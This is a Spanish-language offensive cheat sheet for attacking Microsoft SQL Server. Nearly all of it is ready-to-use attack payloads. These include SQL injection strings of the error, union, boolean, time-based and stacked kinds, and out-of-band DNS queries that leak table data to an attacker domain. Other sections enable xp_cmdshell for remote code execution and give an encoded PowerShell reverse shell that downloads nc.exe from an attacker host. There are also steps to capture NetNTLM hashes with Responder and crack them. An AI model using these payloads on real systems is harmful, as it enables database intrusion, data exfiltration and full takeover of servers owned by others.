Microsoft SQL Server
Enumeración
Versión
# Versión
SELECT @@version
Usuarios
# Usuario actual
SELECT system_user
Bases de datos
# Listado de base de datos
SELECT name FROM sys.databases
Tablas
# Tablas de una base de datos
SELECT table_catalog,table_schema,table_name,table_type FROM <database>.information_schema.tables
Columnas
# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
Datos
# Datos de una tabla
SELECT * FROM <database>.<schema>.<table>
SELECT * FROM <database>.dbo.<table>
Error-based SQLi
cast(@@version as integer)
cast(@@servername as integer)
cast(db_name() as integer)
convert(int,(@@version))
convert(int,(@@servername))
convert(int,(db_name()))
Bases de datos
cast((SELECT TOP 1 name FROM sys.databases) as integer)--
cast((SELECT TOP 1 name FROM sys.databases WHERE name NOT IN ('<database>')) as integer)--
Tablas
cast((SELECT TOP 1 table_name FROM <database>.information_schema.tables) as integer)--
cast((SELECT TOP 1 table_name FROM <database>.information_schema.tables WHERE table_name NOT IN ('<table>')) as integer)--
# Esquema de tabla
cast((SELECT TOP 1 table_schema FROM <database>.information_schema.tables WHERE table_name='<table>') as integer)--
Columnas
cast((SELECT TOP 1 column_name FROM <database>.information_schema.columns WHERE table_name='<table>') as integer)--
cast((SELECT TOP 1 column_name FROM <database>.information_schema.columns WHERE table_name='<table>' AND column_name NOT IN ('<column>')) as integer)--
Datos
cast((SELECT <column> FROM <database>.<schema>.<table>) as integer)--
cast((SELECT <column> FROM <database>.dbo.<table>) as integer)--
cast((SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM <database>.<schema>.<table>) as integer)--
Union-based SQLi
Obtener información dentro de una sola columna
UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1--
Boolean-based SQLi
' AND 1=1--
Time-based SQLi
WAITFOR DELAY '0:0:10'
'; IF (1=1) WAITFOR DELAY '0:0:10'--
Stacked Queries SQLi
;SELECT @@version
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)
Out-of-band DNS
El largo máximo para un nombre de subdominio es 63 caracteres.
El largo máximo para el nombre de dominio completo, incluyendo todos los subdominios y el dominio principal, no puede exceder los 253 caracteres en total.
# master..xp_dirtree
DECLARE @Q varchar(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_dirtree "\\'+@Q+'.<domain-name>\\x"');--
# master..xp_fileexist
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_fileexist "\\'+@Q+'.<domain-name>\\x"');--
# master..xp_subdirs
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_subdirs "\\'+@Q+'.<domain-name>\\x"');--
DECLARE @Q VARCHAR(MAX);DECLARE @A VARCHAR(63);DECLARE @B VARCHAR(63);SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>;SELECT @A=SUBSTRING(@Q,3,63);SELECT @B=SUBSTRING(@Q,3+63,63);EXEC('master..xp_subdirs "\\'+@A+'.<domain-name>\x"');EXEC('master..xp_subdirs "\\'+@B+'.<domain-name>\x"');--
# sys.dm_os_file_exists
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM sys.dm_os_file_exists('\\'+@Q+'.<domain-name>\x');--
# fn_trace_gettable
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM fn_trace_gettable('\\'+@Q+'.<domain-name>\x.trc',DEFAULT);--
DECLARE @Q VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>; SELECT @A=SUBSTRING(@Q,3,63); SELECT @B=SUBSTRING(@Q,3+63,63); SELECT * FROM fn_trace_gettable('\\'+@A+'.'+@B+'.<domain-name>\x.trc',DEFAULT);--
# fn_get_audit_file
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM fn_get_audit_file('\\'+@Q+'.<domain-name>\',DEFAULT,DEFAULT);--
DECLARE @Q VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>; SELECT @A=SUBSTRING(@Q,3,63); SELECT @B=SUBSTRING(@Q,3+63,63); SELECT * FROM fn_get_audit_file('\\'+@A+'.'+@B+'.<domain-name>\',DEFAULT,DEFAULT);--
Remote Code Execution (RCE)
Verificación de permisos.
# General
IS_SRVROLEMEMBER('sysadmin');
# Boolean-based SQLi
' AND IS_SRVROLEMEMBER('sysadmin')=1;--
Habilitación de "advanced options".
# General
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
# SQLi
';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;--
Habilitación de "xp_cmdshell".
# General
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
# SQLi
';EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
Ejecución remota de código.
# General
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'whoami';
# Blind
EXEC xp_cmdshell 'ping /n 4 <attacker-IP-address>';
';EXEC xp_cmdshell 'ping /n 4 <attacker-IP-address>';--
## máquina atacante
sudo tcpdump -i <network-interface> icmp
Reverse shell
Habilitación de servidor HTTP para compartir el archivo nc.exe
.
python3 -m http.server <port>
Generación de payload.
python3 -c 'import base64; print(base64.b64encode((r"""(new-object net.webclient).downloadfile("http://<attacker-IP-address>/nc.exe", "c:\windows\tasks\nc.exe"); c:\windows\tasks\nc.exe -nv <attacker-IP-address> <listen-port> -e c:\windows\system32\cmd.exe;""").encode("utf-16-le")).decode())'
Ejecución de Netcat en máquina atacante en modo escucha.
nc -lvnp <listen-port>
Ejecución de reverse shell.
EXEC xp_cmdshell 'powershell -exec bypass -enc <payload>'
';EXEC xp_cmdshell 'powershell -exec bypass -enc <payload>';--
Filtración de hashes NetNTLM
Ejecución de Responder en máquina atacante.
responder -I <interface>
Filtración de hashes NetNTLM.
# General
EXEC master..xp_dirtree '\\<attacker-IP-address>\myshare', 1, 1;
# SQLi
';EXEC master..xp_dirtree '\\<attacker-IP-address>\myshare', 1, 1;--
Cracking de hashes.
hashcat -m 5600 -a 0 hash.txt <path-wordlist>
Lectura de archivos
Verificación de permisos.
# General
SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS';
# Boolean-based SQLi
' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS')>0;--
Última actualización
¿Te fue útil?